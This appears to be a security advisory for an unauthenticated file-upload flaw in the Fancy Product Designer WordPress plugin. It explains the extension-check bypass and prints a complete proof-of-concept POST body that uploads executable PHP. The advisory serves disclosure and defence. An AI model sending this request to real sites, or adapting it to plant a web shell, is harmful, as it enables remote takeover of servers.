WordPress Plugin Vulnerabilities

Fancy Product Designer < 4.6.9 - Unauthenticated Arbitrary File Upload and RCE

Description

The plugin allows unauthenticated attackers to upload arbitrary files, resulting in remote code execution. The issue is being actively exploited, and no patch is available. Further details will be made available once pathed.

Proof of Concept

The Custom Product Designer plugin for WordPress offers the ability for customers to upload images and PDF files via the custom-image-handler.php. On sites running Apache, this file must be loaded via the “fpd_custom_uplod_file” AJAX action, whereas on sites running NGINX this file can be accessed directly, as the .htaccess rule blocking access to this file will not be processed on NGINX.

Regardless of how the file is accessed, it is possible to use the custom image handler to upload executable PHP files. This is possible because the FPD_Image_Utils::sanitize_filename method in fpd-image-utils checks for malicious extensions on the unsanitized version of the supplied filename. In other words, it’s possible to supply a file with a “filename” of “.p h p” or “.p-h-p”. Both of these pass the malicious file extension check, but are sanitized down to “.php”, and are added to the site in a filename with a unique id ending in PHP (e.g. 1d4609806ff0f4e89a3fb5fa35678fa0.php). 

An example POST body is listed below though it would be good to not display it until the vulnerability has been patched:
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="action"

fpd_custom_uplod_file
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="uploadsDir"

uploads
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="uploadsDirURL"

uploads
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="saveOnServer"

1
------WebKitFormBoundaryPq7qdNQ9shOFwW78
Content-Disposition: form-data; name="pdf"; filename="blah.p h p"
Content-Type: application/pdf

<?php phpinfo();
------WebKitFormBoundaryPq7qdNQ9shOFwW78--

Affects Plugins

References

Miscellaneous

Original Researcher
Charles Sweethill/Ram Gall
Submitter
Ramuel Gall
Submitter twitter
Verified
Yes

Timeline

Publicly Published
2021-06-01 (about 2 years ago)
Added
2021-06-01 (about 2 years ago)
Last Updated
2021-06-25 (about 2 years ago)

Other